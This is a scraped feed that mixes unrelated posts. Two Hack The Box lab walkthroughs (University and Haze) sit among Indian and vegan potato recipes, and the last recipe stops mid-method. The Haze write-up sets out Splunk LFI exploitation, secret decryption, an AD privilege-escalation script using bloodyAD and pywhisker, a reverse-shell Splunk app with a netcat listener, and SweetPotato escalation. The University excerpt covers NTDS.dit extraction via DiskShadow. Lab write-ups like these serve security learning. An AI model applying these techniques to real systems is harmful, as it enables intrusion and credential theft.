It has been saved as shown above

There are numerous tasks with the states ‘READY‘ and ‘DISABLED‘.

This system is a virtualized Windows Server 2019 Standard (64-bit) named WS-3, running on an AMD processor under Hyper-V. It has 1.5 GB RAM with limited available memory and is part of the university.htb domain. The server is not using DHCP, with a static IP of 192.168.99.2, and has three security updates installed. The environment runs on Hyper-V virtualization with a UEFI BIOS.

This PowerShell command retrieves all the actions associated with the scheduled task named “Content Evaluator(Professor Simulatorr)” and formats the output as a detailed list showing every property of those actions.

LocalPotato vulnerability

We attempted to execute the LocalPotato exploit, but unfortunately, it failed.

The exploit succeeded when executed using PowerShell

We extracted the system information onto the victim’s machine.

Access as Brose.w privileges

We successfully retrieved the password for the user: v3ryS0l!dP@sswd#X

Let’s access the machine as Brose.W using the credentials we obtained earlier.

All privileges are accessible on this account.

Create a new directory using the appropriate command.

Take advantage of diskshadow

This sequence of PowerShell commands creates a script file named diskshadow.txt for use with the DiskShadow utility, which manages shadow copies (Volume Shadow Copy Service). Each echo command writes a line to the script. The first line sets the shadow copy context to persistent and disables writers to prevent interference. The second line targets the C: volume and assigns it the alias temp. The third line creates the shadow copy, and the last line exposes it as a new drive (Z:) using the alias. This process provides read-only access to a snapshot of the C: drive at a specific point in time. It’s useful for accessing protected or locked files, such as registry hives or system files, without triggering security measures. This technique is often used in system administration and security contexts to safely extract sensitive data from live systems.

The command diskshadow.exe /s c:\zzz\diskshadow.txt runs the DiskShadow utility with a script that creates a persistent shadow copy of the C: drive, assigns it an alias, and exposes it as a new drive for read-only access. This lets users access a snapshot of the drive at a specific time, bypassing file locks and permission restrictions. It’s commonly used in post-exploitation to extract sensitive files like registry hives or credentials without triggering security alerts.

SebackupPrivilege exploit

Identified a website that can potentially be leveraged for privilege escalation.

Upload both files to the victim’s machine.

These commands import modules that enable backup privilege functionality, then use that privilege to copy the sensitive NTDS.dit file—a database containing Active Directory data—from the shadow copy (Z:) to a local directory (C:\dark). This technique allows extraction of critical directory data typically protected by system permissions.

Those files were downloaded to the local machine

Root flag view

We obtained the password hashes for the Administrator account

We can read the root flag by displaying the contents of the type root.txt file.

The post Hack The Box: University Machine Walkthrough – Insane Walkthrough appeared first on Threatninja.net.

Sheet Pan Veggies and Beans with Lemon Yogurt Sauce

By: Richa

High protein and fiber. Mix everything right in the pan meal, this Sheet pan roasted veggies and beans with Creamy Lemon Yogurt sauce, has amazing flavor and texture! Wrap it, bowl it, swipe with bread! So good! Gluten-free, options for soyfree, Nutfree

sheet pan veggies and beans over creamy lemon yogurt sauce on a white plate

This is an easy, refreshing, spring and summer meal that you can put together within minutes. You make this amazingly refreshing lemon yogurt sauce and pair it with savory roasted veggies and crispy, crunchy beans that have been tossed in spices like paprika, coriander, black pepper, and garlic. They are crisp on the outside and tender on the inside.

The warm veggies and the cooling yogurt sauce are just fabulous together.

sheet pan veggies and beans over creamy lemon yogurt sauce on a white plate with bread for dipping

This is a veggie-heavy recipe rich in fiber, with over 14 grams per serving. It contains 15 to 25 grams of protein per serving, depending on the garnishes and non-dairy yogurt used. The protein in these sheet pan roasted vegetables comes from the beans, yogurt, sesame or hemp seeds, and even the vegetables. For an even more filling meal, serve with whole grain flatbread, pita, or naan.

You can pair them with the sauce in any way you like. You can put the sauce on a plate, top it with the roasted veggies, then top with some seeds and sprouts and a good squeeze of lemon juice. 

making a wrap from sheet pan veggies and beans

Or make a wrap with pita bread or naan bread. Just warm the bread, add the yogurt sauce, the roasted veggies, some more sauce, sprouts, cucumber, and a squeeze of lemon, then serve.

Sheet pan veggies and beans are absolutely delicious any which way you serve it. You can even make small tacos out of it!

Why You’ll Love Sheet Pan Veggies and Beans

  • super easy 1-pan meal celebrates delicious spring and summer veggies
  • tender-crisp roasted vegetables with crunchy roasted white beans
  • creamy, vibrant, 1-bowl lemon yogurt sauce
  • naturally gluten-free, soy-free, and nut-free

Continue reading: Sheet Pan Veggies and Beans with Lemon Yogurt Sauce

The post Sheet Pan Veggies and Beans with Lemon Yogurt Sauce appeared first on Vegan Richa.

Hack The Box: Haze Machine Walkthrough – Hard Difficulty

By: darknite
Reading Time: 17 minutes

Introduction to Haze

In this write-up, we’ll go step-by-step through the Haze machine from Hack The Box, rated medium difficulty. The box involves exploring a Windows Active Directory (AD) environment with Splunk services. The path includes abusing a Splunk vulnerability, moving through Active Directory, and escalating privileges to grab both the user and root flags.

Objective

The goal is to complete Haze by achieving the following:

User Flag:

Using the decrypted paul.taylor password (Ld@p_Auth_Sp1unk@2k24) from splunksecrets, I gained WinRM access as mark.adams. After enumerating AD with netexec and retrieving the Haze-IT-Backup gMSA NTLM hash, I used PyWhisker and Certipy for a Shadow Credentials attack on edward.martin. This provided edward.martin’s NT hash, enabling WinRM access to read the user flag with type user.txt. Troubleshooting BloodyAD authentication issues was key to progressing through AD exploitation.

Root Flag:

With Splunk admin credentials from a decrypted backup hash, I uploaded a malicious .tar.gz app containing a reverse shell to Splunk’s web interface (port 8000). The shell, caught via nc -lvnp 4444, had SeImpersonatePrivilege. Using SweetPotato, I escalated to NT SYSTEM and read the root flag with type root.txt. Fixing tar file upload errors ensured successful shell delivery.

Enumerating the Haze Machine

Reconnaissance

We begin with a basic Nmap scan to identify services on the machine:

nmap -sC -sV 10.10.11.61 -oA initial 

Nmap Output Highlights:

┌─[dark@parrot]─[~/Documents/htb/haze]
└──╼ $nmap -sC -sV 10.10.11.61 -oA initial 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-21 03:39 EDT
Nmap scan report for haze.htb (10.10.11.61)
Host is up (0.037s latency).
Not shown: 986 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-21 12:16:18Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.haze.htb
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
8000/tcp open  http          Splunkd httpd
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Splunkd
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://haze.htb:8000/en-US/account/login?return_to=%2Fen-US%2F
8088/tcp open  ssl/http      Splunkd httpd
|_http-title: 404 Not Found
8089/tcp open  ssl/http      Splunkd httpd
|_http-title: splunkd
| http-robots.txt: 1 disallowed entry 
|_/
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after:  2028-03-04T07:29:08
|_http-server-header: Splunkd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.13 seconds

Analysis:

  • 53/tcp – DNS (Simple DNS Plus) for internal name resolution.
  • 88/tcp – Kerberos authentication (typical for AD environments).
  • 135/tcp – MS RPC endpoint mapper (useful for enumeration).
  • 139/tcp – NetBIOS session service (Windows file/printer sharing).
  • 389/tcp – LDAP (Active Directory query in plaintext).
  • 445/tcp – SMB service (file sharing, potential attack vector).
  • 464/tcp – Kerberos password change service (kpasswd).
  • 593/tcp – RPC over HTTP (potential for Active Directory related enumeration).
  • 636/tcp – LDAPS (LDAP over SSL/TLS).
  • 3268/tcp – Global Catalogue LDAP (multi-domain AD query).
  • 3269/tcp – Global Catalogue LDAPS (LDAP over SSL/TLS).
  • 8000/tcp – Splunk Web Interface (Splunkd httpd), web login portal exposed.
  • 8088/tcp – Splunk HTTP Event Collector (SSL).
  • 8089/tcp – Splunk management port (SSL), often used for Splunk API and administration.

Web Enumeration

Navigated to http://haze.htb:8000, which presented a Splunk Enterprise login page, indicating a web-based attack surface.

Visited http://haze.htb:8088, which returned a 404 error, suggesting no exploitable content.

Accessed http://haze.htb:8089, revealing a Splunk Atom feed that leaked the version (9.2.1), critical for identifying vulnerabilities.

Searched for Splunk 9.2.1 exploits, finding CVE-2024-36991, a local file inclusion (LFI) vulnerability allowing unauthorised file access:

The Splunk 9.2.1 authentication.conf documentation explains how Splunk manages user authentication. It defines how credentials are stored, including LDAP bindings, and supports integrating with external authentication systems. Misconfigurations here can expose sensitive data—like encrypted passwords and bindDNs—making it a critical target for exploitation during assessments

Understanding CVE-2024-36991: A Simple Explanation

Think of your computer or phone as a house with many doors and windows. Each one is a way to interact with the device. Now, imagine one of the locks isn’t working properly—it looks secure, but a clever intruder could still get in.

CVE-2024-36991 is like that broken lock, but in software. It’s a hidden flaw that, if found by the wrong person, could let them sneak into the system without permission. They might steal data, cause damage, or disrupt how things work.

The good news is that once these flaws are discovered, the developers usually fix them quickly, like calling a locksmith to repair a faulty lock. That’s why it’s so important to keep your apps and devices updated. Updates are your best defence against these types of security issues.

Leveraging CVE-2024-36991 for Exploitation

Downloaded the CVE-2024-36991 PoC to test the LFI vulnerability

I downloaded the publicly available proof-of-concept (PoC) and tested it using curl to retrieve sensitive configuration files, such as authentication.conf

The exploit was successful and allowed access to /etc/passwd, dumping several user password hashes

bindDN = CN=Paul Taylor,CN=Users,DC=haze,DC=htb
bindDNpassword = $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=

Although hashcat didn’t crack the hashes within a 5-minute test, the PoC also revealed an encrypted bindDNpassword used in Splunk’s LDAP integration:

Knowing that Splunk stores a symmetric key in splunk.secret, I used the same LFI to retrieve that key. With both the encrypted password and the key, I used the splunksecrets tool to attempt decryption.

Unlocking Splunk Credentials via splunksecrets

Installed Splunksecrets to decrypt the hash

Fixing Cryptography Module Reference in SplunkSecrets

Diagnosis:

  • Using Python 3.12, as per the traceback.
  • The cryptography.hazmat.decrepit module was deprecated in newer cryptography versions.
  • Ran pip show cryptography—found a version >36.0.0, where decrepit was removed.
  • Tested import: python3 -c “from cryptography.hazmat.decrepit.ciphers.algorithms import ARC4” confirmed the error.

Downgraded cryptography to a compatible version

I’m currently facing a fairly common issue—it’s related to how a Python package references the cryptography library. In this case, the splunksecrets package is trying to import a module from cryptography.hazmat.decrepit, which doesn’t exist. The correct path should be cryptography.hazmat.primitives.

To fix this, I’ll need to manually edit the file located at:

/home/dark/.local/lib/python3.12/site-packages/splunksecrets/splunk.py

On line 6, the import statement needs to be corrected.

Current line:

from cryptography.hazmat.decrepit.ciphers.algorithms import ARC4

Updated line:

from cryptography.hazmat.primitives.ciphers.algorithms import ARC4

Once that’s updated, it should resolve the issue.

The splunksecrets tool offers various commands to encrypt and decrypt passwords related to Splunk and its components. It supports decrypting and encrypting credentials used for database connections (dbconnect), as well as passwords associated with Phantom assets. The tool also provides functionality to handle passwords encrypted with both current and legacy Splunk algorithms. Additionally, it can generate password hashes compatible with Splunk’s authentication system. This versatility makes splunksecrets a useful utility for recovering sensitive information during security assessments involving Splunk environments.

I decrypted the encrypted LDAP password by running the splunksecrets tool with the Splunk secret file and the captured ciphertext. This process successfully revealed the plaintext password for the user paul.taylor as Ld@p_Auth_Sp1unk@2k24, which can be used for LDAP authentication or further privilege escalation.

Enumerate using the netexec command

Tested credentials on SMB and LDAP

Attempted WinRM access with paul.taylor, but it failed

Enumerated AD users to find other accounts

Manually extracting the username is tedious, so the screenshot above shows a quicker way I used to identify it.

Discovered mark.adams and tested the same password, gaining WinRM access

Successfully connected to the machine via evil-winrm.

Enumerating AD for Privilege Escalation

The easiest way to understand mark.adams’s connections are by using BloodHound

The user mark.adams is a member of the gMSA Administrators group, granting access to retrieve and decrypt managed service account passwords from Active Directory. This privilege enables direct access to sensitive credentials (msDS-ManagedPassword), allowing privilege escalation or impersonation. It also opens paths for advanced attacks like NTLM relay or the Golden gMSA attack, which can provide persistent, stealthy access across the domain.

The details above display the properties of mark.adam.

I used a tool to connect to the target computer using the username “mark.adams” and the password I found. This confirmed that the credentials were correct and allowed me to access the system, which is running a recent version of Windows Server. The connection used standard network services to communicate securely with the target.

Bloodhound enumeration

The command executes BloodHound-python to collect Active Directory data using the machine account Haze-IT-Backup$. Instead of using a password, it authenticates with an NTLM hash (735c02c6b2dc54c3c8c6891f55279ebc)—a common technique during post-exploitation. The domain is specified as haze.htb, and the domain controller being queried is dc01.haze.htb, with the nameserver IP 10.10.11.61. The -c all flag instructs BloodHound to perform a full collection of all supported data types (such as sessions, ACLs, group memberships, etc.), and --zip compresses the output into a ZIP archive for easier ingestion into the BloodHound UI.

The machine account haze-it-backup$@haze.htb is a member of both support_services@haze.htb and Domain Computers@haze.htb groups. Membership in the Domain Computers group is standard for all domain-joined machines and typically grants basic permissions within the domain. However, its inclusion in the support services group may indicate elevated privileges or specific access rights related to IT support operations. This group membership may present an opportunity for privilege escalation, particularly if the support_services group has delegated permissions over high-value domain objects or privileged user accounts.

Attempted to retrieve gMSA NTLM hash, initially blank

I imported the Active Directory module and set the variable $gMSAName to “Haze-IT-Backup” and $principal to “mark.adams”. Then, I configured the managed service account so that the user mark.adams is authorised to retrieve the managed password.

You can also perform the same action using a one-liner command

We obtained the NTLM hash, but keep in mind that each user has a unique NTLM hash, so everyone will get a different one.

As shown by the results, the LDAP permissions now exceed regular permissions, allowing you to easily collect Domain Objects and DACLs, making enumeration straightforward for the user mark.adams.

BloodyAD and Pywhisker enumeration

An attempt to use BloodyAD for further exploitation failed due to invalid credentials, preventing successful authentication.

I had to rack my brain to figure out the issue, but after removing the $ from the Haze-IT-Backup username and running the ntpdate command, everything worked smoothly.

I also executed the BloodyAD commands displayed earlier to assign permissions and add group memberships to the Haze-IT-Backup account.

These commands attempt to escalate privileges by granting the Haze-IT-Backup account full control (genericAll) over the SUPPORT_SERVICES group and adding the service account as a member of that group.

I also ran a series of PyWhisker commands to manage permissions for the user edward.martin using the Haze-IT-Backup$ account:

pywhisker -d haze.htb -u Haze-IT-Backup$ -H unique --target edward.martin --action "list"

The initial listing showed that the msDS-KeyCredentialLink attribute was empty or inaccessible.

pywhisker -d haze.htb -u Haze-IT-Backup$ -H unique --target edward.martin --action "add"

This generated a certificate and key, updated the msDS-KeyCredentialLink attribute for edward.martin, and saved a PFX certificate file protected by a password. This certificate can be used to obtain a Ticket Granting Ticket (TGT) with external tools.

pywhisker -d haze.htb -u Haze-IT-Backup$ -H unique --target edward.martin --action "list"

This showed the new DeviceID and its creation timestamp.

#!/bin/bash

# Variables - replace with actual values
IP="10.10.11.61"
DOMAIN="haze.htb"
USER="Haze-IT-Backup$"
PASSWORD=":YOUR_PASSWORD_HERE"
TARGET_USER="edward.martin"
HASH=""  # Set this at runtime or before running commands

# Change owner of SUPPORT_SERVICES group
bloodyAD --host "$IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" -f rc4 set owner 'SUPPORT_SERVICES' "$USER"

# Grant GenericAll permission to SUPPORT_SERVICES group
bloodyAD --host "$IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" -f rc4 add genericAll "SUPPORT_SERVICES" "$USER"

# Add user as member of SUPPORT_SERVICES group
bloodyAD --host "$IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" -f rc4 add groupMember 'SUPPORT_SERVICES' "$USER"

# Prompt user to enter the hash at runtime if empty
if [ -z "$HASH" ]; then
  read -p "Enter the NTLM hash: " HASH
fi

# List KeyCredentialLink attribute for target user
pywhisker -d "$DOMAIN" -u "$USER" -H "$HASH" --target "$TARGET_USER" --action "list"

# Add KeyCredential to target user
pywhisker -d "$DOMAIN" -u "$USER" -H "$HASH" --target "$TARGET_USER" --action "add"

# Confirm KeyCredentialLink attribute update
pywhisker -d "$DOMAIN" -u "$USER" -H "$HASH" --target "$TARGET_USER" --action "list"

I utilised an existing script to automate the execution of all the necessary commands, streamlining the process and ensuring accuracy during exploitation.

I used impacket-getTGT to request a Kerberos Ticket Granting Ticket (TGT) for the Haze-IT-Backup$ account on the haze.htb domain, authenticating with the NTLM hash instead of a plaintext password. After successfully obtaining the ticket, I set the KRB5CCNAME environment variable to point to the ticket cache file, allowing subsequent Kerberos-authenticated actions to use this ticket.

Gaining Access as edward.martin

The image reveals that Haze-IT-Backup$ can modify the Owner attribute of the SUPPORT_SERVICES object. Notably, SUPPORT_SERVICES holds the privilege to issue certificates on behalf of the EDWARD account. This chain of permissions enables a classic Shadow Credentials attack. To exploit this path, the first step is to leverage the DACL misconfiguration on SUPPORT_SERVICES to gain control over the object and escalate privileges accordingly.

I used Certipy to perform an automated Shadow Credentials attack targeting the user edward.martin. By authenticating Haze-IT-Backup$ with the NTLM hash, Certipy generated and added a temporary Key Credential (certificate) to edward.martin’s account. This allowed the tool to authenticate edward.martin using the certificate and obtain a Ticket Granting Ticket (TGT). After successfully retrieving the TGT and saving it to a credential cache file, Certipy reverted the Key Credential changes to avoid detection. Finally, the tool extracted the NT hash for edward.martin, which can be used for further attacks or lateral movement.

I used evil-winrm to connect to the target machine as edward.martin, authenticating with the NT hash I had previously extracted. This granted me an interactive WinRM session with the privileges of edward.martin, allowing direct access to the system for further enumeration or exploitation.

We can read the user flag by simply running the command type user.txt inside the WinRM session.

Escalate the Root Privileges Access

Privileges Access

While exploring the system, I navigated to C:\Backups\Splunk and found a backup file named splunk_backup_2024-08-06.zip. I downloaded the file for offline analysis using the download command in Evil-WinRM.

Analyse the Splunk_backup file

After downloading splunk_backup_2024-08-06.zip, I extracted its contents locally to analyse the files inside.

It appeared to be a standard Splunk directory structure.

It turned out that Splunk had created a copy of the active configuration file, which contained the hash above

An error occurred while attempting to use splunksecrets.

By running splunksecrets splunk-decrypt -S etc/auth/splunk.secret, I was able to decrypt the ciphertext

There was no user account associated with this password, resulting in a STATUS_LOGON_FAILURE During login attempts.

Uploading a malicious zip file to get a shell

I tested this password by logging into the previously discovered website.

The login attempt was successful, confirming the password’s validity.

This means accessing and reviewing the part of the system where applications or services are controlled and configured. It involves looking at how apps are set up, what permissions they have, and possibly making changes to their settings.

Before proceeding, I conducted research to understand how to leverage the admin access effectively.

I then proceeded to use a reverse shell tool from this repository to gain remote shell access on the Splunk system.

I downloaded the reverse shell tool repository directly onto the target machine to prepare for the next steps.

The content matches the example shown above.

I added the reverse shell command to the appropriate script file.

The attempt to create (zip) the archive file failed.

I started a listener on my machine to catch the incoming reverse shell connection.

An attempt to upload the tar file through the app’s interface resulted in an error stating that the application does not exist.

I modified the reverse shell command to address the issues encountered.

This time, the zip file was created successfully without any issues.

The file was successfully uploaded to the application.

I successfully received the reverse shell connection from the target.

Exploiting SeImpersonatePrivilege with SweetPotato

The current user has the SeImpersonatePrivilege permission enabled, as shown above. This privilege is commonly exploited using tools like Juicy Potato to escalate to NT SYSTEM.

Privilege Escalation to Alexander Green

The user alexander.green@haze.htb is a member of multiple Active Directory groups, including splunk_admins@haze.htb, Domain Users@haze.htb, and users@haze.htb. The splunk_admins group likely grants administrative privileges over the Splunk environment, which could provide access to sensitive logs, configurations, or even execution capabilities within Splunk. Additionally, being part of the Domain Users group confirms that the account is a standard domain-joined user. The users group, which includes Domain Users as members, may be used to manage or apply policies to a broader set of accounts. This nested group membership structure could potentially be leveraged to escalate privileges or pivot further within the domain, depending on the permissions assigned to each group.

I downloaded the SweetPotato binary to the target machine to leverage the SeImpersonatePrivilege for privilege escalation.

I tested SweetPotato by running it with the whoami command, confirming that privilege escalation to NT SYSTEM was successful.

Using this privilege escalation method, I gained NT SYSTEM access and was able to read the root flag.

The post Hack The Box: Haze Machine Walkthrough – Hard Difficulty appeared first on Threatninja.net.

Aloo Matar (आलू मटर) | Potato Peas curry - Winter Special

 Come winter, the market is flooded with fresh vegetables which are very tempting. Most of the times,I will hoard my fridge with the fresh produce and then struggle to consume it before the freshness withers away .

Winters at home means fresh green peas ,carrots,cauliflower and radish in abundance.  Of course the evergreen , doodhi aka lauki makes it presence in the menu atleast once a week . 

Aloo matar , alu mattar ,alu matar ,how to make aloo matar at home,urulai pattani masala ,urlai pattani masaal, alu matar gravy , restaurant style aloo matar

Aloo mutter is easy and simple to make,but packed with a riot of flavors. You can make with fresh peas or the frozen ones .Try and avoid the dried peas which needs to be soaked overnight . The dried peas don't blend well in to the curry is my opinion. 

In winters, I make this curry with fresh peas and during off season ,the frozen peas comes handy . We can easily make this Aloo Matar gravy for year end parties , get togethers and office pot luck.  

Aloo matar , alu mattar ,alu matar ,how to make aloo matar at home,urulai pattani masala ,urlai pattani masaal, alu matar gravy , restaurant style aloo matar

I learnt this recipe from my amma and she used just simple basic spices to make this curry and it would be served with piping hot fulkas just off the pan . I enjoy it with some thick yogurt or cucumber raita while hubby loves it with onion raita. 

Kulchas and Naan are a best combination too and if serving with rice, simple steamed basmati rice, jeera rice ,peas pulav or vegetable pulao are just the perfect pairing. 

I use the pressure cooker to make and it gets done quickly . Pressure cooker or instapot option is the best choice, if we want to make a large quantity of Aloo Matar.  

Donot forget to use lots and lots of fresh corriander as garnish.  It enhances the flavor of the gravy. Serve with some chopped onions and a wedge of lime.

Aloo matar , alu mattar ,alu matar ,how to make aloo matar at home,urulai pattani masala ,urlai pattani masaal, alu matar gravy , restaurant style aloo matar

Preparation Time - 10 mins
Cooking Time - 30 mins
Complexity- easy
Serves - 2 to 3 

Ingredients
3 to 4 medium sized potatoes  peeled & cut into big cubes 
1 medium onion chopped roughly 
2 tomatoes roughly chopped 
1 cup green peas
2 green chillies finely chopped 
Lots of fresh corriander
1 tsp ginger garlic paste
1 tsp Kashmiri chilli powder
1/2 tsp turmeric/haldi
1/2 tsp kasuri methi /dehydrated fenugreek leaves
3 tsp oil
Salt as needed 
Whole spices
 1tsp jeera /cumin
small piece  cinnamon /dalchini 
3 cloves /lavang
 2 cardamom / elaichi





Method

  • Heat oil in a pressure cooker .
  • Crackle the cumin seeds ,followed by the whole spices until you get a nice aroma of fried spices .Take care to roast over low flame,that is the key to bring out the essence from the whole spices. 
  • Add in the onions and green chillies ,saute till the onions turn pinkish .
  • Add in the tomatoes , turmeric powder, chilli powder, salt and cook until the tomatoes turn mushy and soft. 
  • Once,the tomatoes become soft, add the ginger garlic paste and cook till the raw flavor is lost.
  • Slowly ,add in the potato cubes ,green peas and mix it well.Adjust salt if needed and pour 3/4 cup water. 
  • Pressure cook on medium flame for 4 whistles .
  • Let the pressure release naturally.  Open the lid and gently mix the gravy while you roughly mash a few potatoes here and there.
  • Mashing of potatoes will give a nice volume to the gravy.If you find the gravy thick,you can add some hot water and adjust the consistency.
  • Lastly add the kasuri methi and fresh corriander.  Serve hot with rotis ,naan, steamed rice etc.

Some winter special recipes which you must try

Aloo Gobhi 

Lauki Channa Dal (video)

Palak Paneer 

Sabz Hariyali (video)

Gajar Halwa

Doodhi Halwa 

Gajar Mooli sabji 

Corn peas pulao 


Pin me up 

https://pin.it/36dUF7yJa




Aloo Gobhi Sabji / Potato Cauliflower gravy - No onion No garlic sabzi

 Aloo Gobhi is a classic winter delicacy . Piping hot phulkas/ rotis and a bowl of delicious Aloo Gobhi curry is an absolute bliss on a chill winter night . 

Very simple to make with just basic spices ,Alu Gobhi sabji can be prepared in less than 15mins. I saute the basic spices with tomato ,potato and cauliflower and cook it in a pressure cooker for 1 whistle.  This way it gets done quickly and perfectly . 

The final garnish with fresh corriander is the icing on the cake,the smell of fine chopped kothmir when mixed with the curry kindles the appetite instantly.  Those of who you like a little extra zing, you may squeeze some lime juice over the gravy.

Aloo Gobhi is a very popular side dish ordered in most restaurants and dhabas for all those who love typical North Indian flavors. We can make a dry curry like a stir fry using Aloo and Gobhi or even as a semi liquid gravy . 

We love the gravy type curry at home ,so I prefer to make this for my family . A perfect choice for Vegans as well as those who don't prefer to include Onions and Garlic in their meal .

I chose this recipe for our ongoing No Garlic No  Onion recipes theme in Shhh cooking secretly  group. Theme  suggested by Priya Iyer ,a versatile blogger .I was partnered with Sujata Ji for this theme who has dished out a creamy and delectable Paneer Malai Curry.


Preparation Time - 15 mins
Cooking Time - 20 mins
Complexity - simple
Serves - 2 to 3

Ingredients 

1 medium sized Cauliflower 
2 medium Potatoes 
3 medium Tomatoes
2 Green chillies finely chopped
1/2 inch Ginger finely chopped
1/2 tsp Red chilli powder
1tsp Dhaniya jeera powder 
1/4 tsp Haldi/turmeric 
1 tsp garam masala
1/2 tsp jeera
1/4 tsp saunf
Salt as required 
Corriander leaves finely chopped
2tsp Oil
Pinch of sugar

Method 


  • Cut out the florets from the main flower and soak it in salt and turmeric water.  This enables to clean up some hidden worms which are usually hidden inside the cauliflower.  Discard the water after rinsing the florets well .
  • Cut the potatoes into small cubes and tomatoes into medium Chunks.
  • Heat the oil in the pressure cooker and splutter the jeera and saunf . Once it crackles, fry the chopped ginger and chillies .
  • Add the spices (turmeric, chilli powder, dhaniya jeera powder  and garam masala) and fry it on low flame without burning the masalas.
  • Add the tomatoes and cook it well until it turns mushy.
  • Add the potatoes, cauliflower mix it well .Adjust salt ,sugar, 1/2 cup water and pressure cook for 1 whistle on medium flame.
  • Release the pressure naturally,  give it a nice stir . Take 1 tbsp of the curry in a bowl and lightly mash it. Add it back to the gravy and give a quick boil for 1 or 2 mins. This mashed portion gives the gravy some thickness and volume to the curry.
  • Garnish with fresh corriander and squeeze some lime just before serving and serve hot .

Pin it up



South Indian Lunch Box Recipe Idea 2

The highlight of today’s lunch box recipe idea features healthy millet mini idlis, boiled sweet potato, and manually processed toor dal. The mini idlis I’ve packed are made from no rice Barnyard Millet Idlis, containing 100% millet and urad dal. Also for snack I packed the store bought baked cheetos. Sweet Potato The variety originating...

Read More

ALUGADDA ELLIPAYA KARAM

          Staying in Seattle you get used to graying weather in winter months every single day. I mean literally every day. And this gloomy weather makes me crave more spicy foods and this dish tops the quick-cooking foods. Alugadda ellipaya Karam or Garlicky Potato fry is a quick and easy stir-fry served as a side dish.

             This Telangana Style Potato Roast is a gluten-free, vegan, spicy side dish. It gets ready in under 15 minutes and makes a perfect winter dish to cook on busy weekdays. The reason why I say it’s perfect for winters is the generous usage of garlic, as garlic is considered warming food. Warming foods produce more heat in your body and keep your body warm enough to endure the chilly winter. Hence we include warming foods like sesame seeds, garlic, ginger, chilies, etc in our diet. 

What makes this Alugadda ellipaya karam special ?

         Telangana regional cuisine is all about spice and garlic, and this dish just depicts the true flavors of this beautiful cuisine. Alugadda is a potato in the Telangana Telugu dialect and ellipaya karam refers to garlic spice. We eat lots of garlic and we make this special garlic spice Ellipaya karam every winter to have it in our daily meals. Some people call this dish Alugadda fry, vellulli alugadda vepudu or Alugadda vepudu. You can also call it Garlicky Potato Roast, Potato Stir-Fry, Aloo Fry, or crispy Indian potatoes. 

       In this recipe, potatoes are tossed in basic Indian spices and quick-roasted in the pan on high flame till they turn golden and crispy! Oh Yum! writing this I’m salivating already. There was a time in my life, I used to carry only potato fry and rice in my lunchbox every single day during my schooling days. That’s how much I love this dish and I promise once you try this, you’re going to love it. Also, contrary to many beliefs, potatoes are a source of good carbs when consumed in moderation!  So do include this Alugadda ellipaya karam in your weekly menu! 

Checkout more vegetarian sides and curries from my blog

Jackfruit ghee roast

Stuffed peppers in creamy tomato gravy

Dondakaya Barada

Lauki palak pakoda kadhi

Chana aloo masala

Potlakaya perugu pachadi

Munagaku podi pappu kura

Chamakura kadala pappu

Gobhi fry

Now let’s get into the recipe!!
Print

ALUGADDA ELLIPAYA KARAM

Alugadda ellipaya karam is a quick and easy potato stir fry, loaded with garlic and Indian spices making a best side for Indian meals.
Course Side Dish
Cuisine Telangana, Telugu
Keyword Side dish, vegan, Vegetarian
Prep Time 8 minutes
Cook Time 12 minutes
Servings 3 Servings
Author Shravani Abhishek

Ingredients

  • 4 no Potatoes medium size
  • 2 tsp Red chili powder
  • Salt to taste
  • ½ tsp Turmeric powder
  • 8 cloves Garlic small size, coarsely crushed with cumin seeds
  • ½ tsp Mustard seeds
  • ½ + ½ tsp Cumin seeds
  • 1 sprig Curry leaves
  • 2 tbsp Desiccated coconut

Instructions

Let's prep the potatoes

  • Wash and peel the potatoes. Chop the potatoes into medium size cubes.
  • Add the chopped potatoes to a bowl of water to get rid of excess starch.
  • Peel the garlic cloves and coarsely crush them with ½ tsp cumin seeds in a mortar & pestle.

Let's start making Alugadda ellipaya karam

  • Heat a well-seasoned cast-iron or nonstick skillet, add oil and once it's hot add mustard seeds, cumin seeds and let them crackle.
